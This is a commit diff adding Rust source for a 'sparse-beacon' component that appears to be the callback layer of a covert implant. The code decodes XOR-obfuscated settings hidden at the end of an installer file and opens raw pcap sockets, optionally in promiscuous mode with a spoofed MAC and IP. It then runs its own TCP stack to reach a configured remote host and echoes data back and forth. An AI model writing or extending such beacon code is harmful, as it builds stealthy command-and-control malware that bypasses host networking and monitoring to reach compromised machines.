feat: added tcp

sorry Judah

sparse-beacon/src/adapter.rs

@@ -0,0 +1,29 @@
+use std::net::Ipv4Addr;
+
+use crate::error;
+
+#[derive(Debug)]
+pub struct BeaconRoute {
+    pub network: (Ipv4Addr, u8),
+    pub gateway: (Ipv4Addr, u8),
+    pub interface_index: usize,
+}
+
+pub struct BeaconNetworkingInfo {
+    pub routes: Vec<BeaconRoute>,
+    pub interfaces: Vec<BeaconInterface>,
+}
+
+#[derive(Debug)]
+pub struct BeaconInterface {
+    pub name: Vec<u8>,
+    pub mtu: u16,
+    pub mac_addr: [u8; 6],
+}
+
+#[async_trait::async_trait]
+pub trait BeaconAdapter {
+    fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8>;
+
+    fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError>;
+}

sparse-beacon/src/callback.rs

@@ -0,0 +1,337 @@
+use std::{
+    future::Future,
+    net::Ipv4Addr,
+    pin::Pin,
+    sync::{Arc, Mutex},
+    task::{Context, Poll},
+};
+
+use futures::ready;
+use smoltcp::{
+    iface::{Config, Interface, SocketHandle, SocketSet},
+    socket::tcp::{RecvError, SendError, Socket, SocketBuffer, State},
+    time::Instant,
+    wire::{EthernetAddress, IpCidr, Ipv4Address},
+};
+use tokio::{
+    io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt},
+    task::{spawn, spawn_blocking, JoinHandle},
+};
+
+use sparse_actions::payload_types::Parameters;
+
+use crate::{adapter, error};
+
+pub struct NetInterfaceHandle {
+    net: Arc<Mutex<(SocketSet<'static>, crate::socket::RawSocket, Interface)>>,
+    tcp_handle: SocketHandle,
+
+    background_process: JoinHandle<()>,
+}
+
+impl Drop for NetInterfaceHandle {
+    fn drop(&mut self) {
+        self.background_process.abort();
+    }
+}
+
+impl AsyncRead for NetInterfaceHandle {
+    fn poll_read(
+        self: Pin<&mut Self>,
+        cx: &mut Context<'_>,
+        tbuf: &mut tokio::io::ReadBuf<'_>,
+    ) -> Poll<Result<(), std::io::Error>> {
+        let this = self.get_mut();
+        let Ok(mut inner) = this.net.lock() else {
+            return Poll::Ready(Err(std::io::Error::new(
+                std::io::ErrorKind::BrokenPipe,
+                "mutex for tcp connection is poisoned",
+            )));
+        };
+        let (ref mut s_guard, _, _) = *inner;
+
+        let socket = s_guard.get_mut::<Socket>(this.tcp_handle);
+
+        let has_data = socket.can_recv();
+        while socket.can_recv() {
+            let buf = match socket.recv(|buf| (buf.len(), buf.to_vec())) {
+                Ok(v) => v,
+                Err(RecvError::InvalidState) => {
+                    return Poll::Ready(Err(std::io::Error::new(
+                        std::io::ErrorKind::NetworkDown,
+                        "received InvalidState from smoltcp",
+                    )));
+                }
+                Err(RecvError::Finished) => {
+                    return Poll::Ready(Err(std::io::Error::new(
+                        std::io::ErrorKind::BrokenPipe,
+                        "tried reading from finished connection",
+                    )));
+                }
+            };
+            tbuf.put_slice(&buf);
+        }
+
+        socket.register_recv_waker(cx.waker());
+
+        if has_data {
+            Poll::Ready(Ok(()))
+        } else {
+            Poll::Pending
+        }
+    }
+}
+
+impl AsyncWrite for NetInterfaceHandle {
+    fn poll_write(
+        self: Pin<&mut Self>,
+        cx: &mut Context<'_>,
+        src: &[u8],
+    ) -> Poll<std::io::Result<usize>> {
+        let this = self.get_mut();
+        let Ok(mut inner) = this.net.lock() else {
+            return Poll::Ready(Err(std::io::Error::new(
+                std::io::ErrorKind::BrokenPipe,
+                "mutex for tcp connection is poisoned",
+            )));
+        };
+        let (ref mut s_guard, _, _) = *inner;
+
+        let socket = s_guard.get_mut::<Socket>(this.tcp_handle);
+
+        socket.register_send_waker(cx.waker());
+
+        if socket.can_send() {
+            let to_send = socket.send_capacity().min(src.len());
+            match socket.send_slice(&src[..to_send]) {
+                Ok(s) => Poll::Ready(Ok(s)),
+                Err(SendError::InvalidState) => {
+                    return Poll::Ready(Err(std::io::Error::new(
+                        std::io::ErrorKind::NetworkDown,
+                        "received InvalidState from smoltcp",
+                    )))
+                }
+            }
+        } else {
+            Poll::Pending
+        }
+    }
+
+    fn poll_flush(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<std::io::Result<()>> {
+        Poll::Ready(Ok(()))
+    }
+
+    fn poll_shutdown(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<std::io::Result<()>> {
+        let this = self.get_mut();
+        let Ok(mut inner) = this.net.lock() else {
+            return Poll::Ready(Err(std::io::Error::new(
+                std::io::ErrorKind::BrokenPipe,
+                "mutex for tcp connection is poisoned",
+            )));
+        };
+        let (ref mut s_guard, _, _) = *inner;
+
+        let socket = s_guard.get_mut::<Socket>(this.tcp_handle);
+        socket.close();
+
+        Poll::Ready(Ok(()))
+    }
+}
+
+pub async fn setup_network<T>(
+    adapter: &T,
+    parameters: &Parameters,
+) -> Result<NetInterfaceHandle, error::BeaconError>
+where
+    T: adapter::BeaconAdapter + Clone + Send + 'static,
+{
+    let net_info = tokio::task::spawn_blocking({
+        let adapter = adapter.clone();
+        move || adapter.networking_info()
+    })
+    .await??;
+
+    let (interface, gateway_ip, mac_address, source_ip, netmask) = match unsafe {
+        parameters.source_ip.custom_networking.mode
+    } {
+        0 => {
+            // custom networking
+            let interface_name = unsafe {
+                &parameters.source_ip.custom_networking.interface
+                    [..parameters.source_ip.custom_networking.interface_len as usize]
+            };
+
+            let interface = if interface_name.is_empty() {
+                let Some(default_route) = net_info.routes.iter().find(|r| r.network.1 == 0) else {
+                    return Err(error::BeaconError::NoDefaultRoute);
+                };
+
+                &net_info.interfaces[default_route.interface_index]
+            } else {
+                net_info
+                    .interfaces
+                    .iter()
+                    .find(|intf| intf.name == interface_name)
+                    .ok_or(error::BeaconError::NoDefaultRoute)?
+            };
+
+            unsafe {
+                (
+                    interface,
+                    Ipv4Addr::new(
+                        parameters.source_ip.custom_networking.gateway.a,
+                        parameters.source_ip.custom_networking.gateway.b,
+                        parameters.source_ip.custom_networking.gateway.c,
+                        parameters.source_ip.custom_networking.gateway.d,
+                    ),
+                    parameters.source_ip.custom_networking.source_mac.clone(),
+                    Ipv4Addr::new(
+                        parameters.source_ip.custom_networking.source_ip.a,
+                        parameters.source_ip.custom_networking.source_ip.b,
+                        parameters.source_ip.custom_networking.source_ip.c,
+                        parameters.source_ip.custom_networking.source_ip.d,
+                    ),
+                    parameters.source_ip.custom_networking.netmask as u8,
+                )
+            }
+        }
+        1 => {
+            // host networking
+            let Some(default_route) = net_info.routes.iter().find(|r| r.network.1 == 0) else {
+                return Err(error::BeaconError::NoDefaultRoute);
+            };
+
+            let default_route_if = &net_info.interfaces[default_route.interface_index];
+
+            (
+                default_route_if,
+                default_route.gateway.0,
+                default_route_if.mac_addr.clone(),
+                unsafe {
+                    Ipv4Addr::new(
+                        parameters.source_ip.use_host_networking.source_ip.a,
+                        parameters.source_ip.use_host_networking.source_ip.b,
+                        parameters.source_ip.use_host_networking.source_ip.c,
+                        parameters.source_ip.use_host_networking.source_ip.d,
+                    )
+                },
+                default_route.gateway.1,
+            )
+        }
+        _ => panic!("Corrupted parameters present!"),
+    };
+
+    let go_promisc = mac_address != [0, 0, 0, 0, 0, 0];
+    let mac_address = Some(mac_address)
+        .filter(|smac| smac != &[0, 0, 0, 0, 0, 0])
+        .unwrap_or(interface.mac_addr);
+
+    let local_port = 49152 + rand::random::<u16>() % 16384;
+    let mut device = crate::socket::RawSocket::new::<T>(interface, go_promisc, local_port)?;
+
+    let mut config = Config::new(EthernetAddress(mac_address).into());
+    config.random_seed = rand::random();
+
+    let mut iface = Interface::new(config, &mut device, Instant::now());
+    iface.update_ip_addrs(|addrs| {
+        addrs
+            .push(IpCidr::new(source_ip.into(), netmask))
+            .expect("could not add new IP address");
+    });
+    iface
+        .routes_mut()
+        .add_default_ipv4_route(gateway_ip.into())
+        .expect("did not expect route table to be full");
+
+    let tcp_rx_buffer = SocketBuffer::new(vec![0; 8192]);
+    let tcp_tx_buffer = SocketBuffer::new(vec![0; 8192]);
+    let tcp_socket = Socket::new(tcp_rx_buffer, tcp_tx_buffer);
+
+    let mut sockets = SocketSet::new(vec![]);
+    let tcp_handle = sockets.add(tcp_socket);
+
+    let mut active = false;
+    let ready_wait = device.get_ready_wait_callback();
+
+    let destination = (
+        Ipv4Address::new(
+            parameters.destination_ip.a,
+            parameters.destination_ip.b,
+            parameters.destination_ip.c,
+            parameters.destination_ip.d,
+        ),
+        8080, //parameters.destination_port,
+    );
+
+    while !active {
+        let timestamp = Instant::now();
+        iface.poll(timestamp, &mut device, &mut sockets);
+
+        let cx = iface.context();
+
+        let socket = sockets.get_mut::<Socket>(tcp_handle);
+        if !socket.is_active() {
+            socket.connect(cx, destination, local_port)?;
+        }
+        active = socket.is_active() && socket.state() == State::Established;
+
+        ready_wait.wait(iface.poll_delay(timestamp, &sockets).map(Into::into))?;
+    }
+
+    let net = Arc::new(Mutex::new((sockets, device, iface)));
+
+    let background_process = spawn({
+        let net = Arc::clone(&net);
+
+        async move {
+            loop {
+                let delay = {
+                    let Ok(mut guard) = net.lock() else {
+                        continue;
+                    };
+                    let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard;
+
+                    let timestamp = Instant::now();
+                    i_guard.poll(timestamp, d_guard, s_guard);
+
+                    i_guard.poll_delay(timestamp, s_guard)
+                };
+
+                let _ = ready_wait.wait(delay.map(Into::into));
+            }
+        }
+    });
+
+    Ok(NetInterfaceHandle {
+        net,
+        tcp_handle,
+
+        background_process,
+    })
+}
+
+pub async fn perform_callback<T>(
+    adapter: &T,
+    parameters: &Parameters,
+) -> Result<(), error::BeaconError>
+where
+    T: adapter::BeaconAdapter + Clone + Send + 'static,
+{
+    println!("Attempting net connection...");
+    let mut net_handle = setup_network(adapter, parameters).await?;
+    println!("Got connection!");
+
+    let mut buffer = vec![0u8; 4096];
+
+    net_handle.write(&*b"Hello there\n").await?;
+
+    while let Ok(v) = net_handle.read(&mut buffer).await {
+        println!("Received {v} bytes: {:?}", &buffer[..v]);
+
+        net_handle.write(&buffer[..v]).await?;
+    }
+
+    println!("Finishing connection");
+
+    Ok(())
+}

sparse-beacon/src/error.rs

@@ -0,0 +1,19 @@
+use thiserror::Error;
+
+#[derive(Error, Debug)]
+pub enum BeaconError {
+    #[error("io error")]
+    Io(#[from] std::io::Error),
+    #[error("pcap error")]
+    Pcap(#[from] pcap_sys::error::Error),
+    #[error("utf8 decoding error")]
+    Utf8(#[from] std::str::Utf8Error),
+    #[error("task join error")]
+    Join(#[from] tokio::task::JoinError),
+    #[error("could not find default route")]
+    NoDefaultRoute,
+    #[error("connection error")]
+    Connect(#[from] smoltcp::socket::tcp::ConnectError),
+    #[error("netlink error")]
+    Nl(#[from] nl_sys::error::Error),
+}

sparse-beacon/src/lib.rs

@@ -1 +1,16 @@
-pub fn run_beacon_step() {}
+use sparse_actions::payload_types::Parameters;
+
+pub mod adapter;
+mod callback;
+pub mod error;
+mod socket;
+pub use error::BeaconError;
+
+pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError>
+where
+    A: adapter::BeaconAdapter + Clone + Send + 'static,
+{
+    callback::perform_callback(&host_adapter, &params).await?;
+
+    Ok(())
+}

sparse-beacon/src/main.rs

@@ -0,0 +1,113 @@
+use std::{io::SeekFrom, net::Ipv4Addr};
+
+use tokio::io::{AsyncReadExt, AsyncSeekExt};
+
+use nl_sys::netlink;
+
+use sparse_actions::payload_types::{Parameters, XOR_KEY};
+use sparse_beacon::{
+    adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
+    error,
+};
+
+#[derive(Clone)]
+struct LinuxAdapter;
+
+#[async_trait::async_trait]
+impl BeaconAdapter for LinuxAdapter {
+    fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
+        interface.name.clone()
+    }
+
+    fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError> {
+        let nlsock = netlink::Socket::new()?;
+
+        let routes = nlsock.get_routes()?;
+        let links = nlsock.get_links()?;
+        let links_vec = links.iter().collect::<Vec<_>>();
+
+        Ok(BeaconNetworkingInfo {
+            routes: routes
+                .iter()
+                .filter_map(|r| {
+                    let dst = r.dst()?;
+                    let dst4: Ipv4Addr = (&dst).try_into().ok()?;
+
+                    let next_hop = r.nexthop(0)?;
+                    let gateway = next_hop.gateway()?;
+                    let gateway4: Ipv4Addr = (&gateway).try_into().ok()?;
+                    let gateway_int = u32::from(gateway4);
+
+                    let src_cidr = routes.iter().find_map(|r| {
+                        let dst = r.dst()?;
+                        let dst4: Ipv4Addr = (&dst).try_into().ok()?;
+
+                        if dst.cidrlen() == 0 {
+                            return None;
+                        }
+
+                        let mask = (0xFFFFFFFFu32.overflowing_shr(32 - dst.cidrlen()))
+                            .0
+                            .overflowing_shl(32 - dst.cidrlen())
+                            .0;
+
+                        if (mask & u32::from(dst4)) == (mask & gateway_int) {
+                            Some(dst.cidrlen())
+                        } else {
+                            None
+                        }
+                    })?;
+
+                    Some(BeaconRoute {
+                        network: (dst4, dst.cidrlen() as u8),
+                        gateway: (gateway4, src_cidr as u8),
+                        interface_index: links_vec
+                            .iter()
+                            .position(|l| l.ifindex() == next_hop.ifindex())?,
+                    })
+                })
+                .collect(),
+            interfaces: links
+                .iter()
+                .filter_map(|l| {
+                    let mac_addr = l.addr().hw_address();
+
+                    Some(BeaconInterface {
+                        name: l.name().as_bytes().to_owned(),
+                        mtu: (l.mtu() & 0xFFFF) as u16,
+                        mac_addr: mac_addr.try_into().ok()?,
+                    })
+                })
+                .collect(),
+        })
+    }
+}
+
+#[tokio::main]
+async fn main() -> Result<(), sparse_beacon::BeaconError> {
+    let installer = std::env::args()
+        .skip(1)
+        .next()
+        .expect("Could not get a reference to a sparse installer");
+    let mut installer_file = tokio::fs::OpenOptions::new()
+        .read(true)
+        .open(installer)
+        .await?;
+
+    let parameters_size = std::mem::size_of::<Parameters>() as i64;
+
+    installer_file.seek(SeekFrom::End(-parameters_size)).await?;
+    let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
+    installer_file.read_to_end(&mut parameters_buffer).await?;
+
+    for b in parameters_buffer.iter_mut() {
+        *b = *b ^ (XOR_KEY as u8);
+    }
+
+    let parameters: Parameters =
+        unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
+
+    sparse_beacon::run_beacon_step(LinuxAdapter, parameters).await?;
+
+    Ok(())
+}

sparse-beacon/src/socket.rs

@@ -0,0 +1,132 @@
+use smoltcp::phy::{self, Device, DeviceCapabilities, Medium};
+
+use pcap_sys::Interface;
+
+use crate::{adapter, error};
+
+struct SocketInner {
+    lower: Interface,
+}
+
+pub struct RawSocket {
+    inner: SocketInner,
+    mtu: usize,
+}
+
+impl RawSocket {
+    pub fn new<T: adapter::BeaconAdapter>(
+        a_interface: &adapter::BeaconInterface,
+        promisc: bool,
+        port: u16,
+    ) -> Result<Self, error::BeaconError> {
+        let name_raw = T::interface_name_from_interface(&a_interface);
+        let name = std::str::from_utf8(&name_raw)?;
+        let mut lower = Interface::new(name)?;
+
+        let mtu = a_interface.mtu as usize + if cfg!(unix) { 14 } else { 0 };
+
+        dbg!(promisc);
+
+        lower.set_promisc(promisc)?;
+        lower.set_buffer_size(mtu as i32)?;
+        lower.set_non_blocking(true)?;
+        lower.set_buffer_size(8192)?;
+        lower.set_timeout(10)?;
+
+        lower.activate()?;
+
+        lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
+
+        Ok(Self {
+            inner: SocketInner { lower },
+            mtu,
+        })
+    }
+
+    pub fn get_ready_wait_callback(&self) -> pcap_sys::WaitHandle {
+        self.inner.lower.get_wait_ready_callback()
+    }
+}
+
+impl Device for RawSocket {
+    type RxToken<'a>
+        = RxToken
+    where
+        Self: 'a;
+
+    type TxToken<'a>
+        = TxToken<'a>
+    where
+        Self: 'a;
+
+    fn capabilities(&self) -> DeviceCapabilities {
+        let mut caps = DeviceCapabilities::default();
+
+        caps.max_transmission_unit = self.mtu;
+        caps.medium = Medium::Ethernet;
+
+        caps
+    }
+
+    fn receive(
+        &mut self,
+        _timestamp: smoltcp::time::Instant,
+    ) -> Option<(Self::RxToken<'_>, Self::TxToken<'_>)> {
+        match self.inner.lower.next_packet() {
+            Ok(p) => {
+                let rx = RxToken {
+                    buffer: p.pkt().raw().to_vec(),
+                };
+                let tx = TxToken { inner: &self.inner };
+                Some((rx, tx))
+            }
+            Err(pcap_sys::error::Error::Io(e)) if e.kind() == std::io::ErrorKind::WouldBlock => {
+                None
+            }
+            Err(e) => {
+                panic!("{}", e);
+            }
+        }
+    }
+
+    fn transmit(&mut self, _timestamp: smoltcp::time::Instant) -> Option<Self::TxToken<'_>> {
+        Some(TxToken { inner: &self.inner })
+    }
+}
+
+pub struct TxToken<'a> {
+    inner: &'a SocketInner,
+}
+
+impl phy::TxToken for TxToken<'_> {
+    fn consume<R, F>(self, len: usize, f: F) -> R
+    where
+        F: FnOnce(&mut [u8]) -> R,
+    {
+        let mut buffer = vec![0; len];
+        let result = f(&mut buffer);
+        let packet = packets::EthernetPacket::from_raw(buffer);
+        match self.inner.lower.sendpacket(packet.pkt()) {
+            Ok(_) => {}
+            Err(pcap_sys::error::Error::Io(e)) if e.kind() == std::io::ErrorKind::WouldBlock => {
+                println!("Failed to send due to non blocking mode");
+            }
+            Err(err) => panic!("{}", err),
+        }
+        drop(packet);
+        result
+    }
+}
+
+pub struct RxToken {
+    buffer: Vec<u8>,
+}
+
+impl phy::RxToken for RxToken {
+    fn consume<R, F>(self, f: F) -> R
+    where
+        F: FnOnce(&[u8]) -> R,
+    {
+        f(&self.buffer[..])
+    }
+}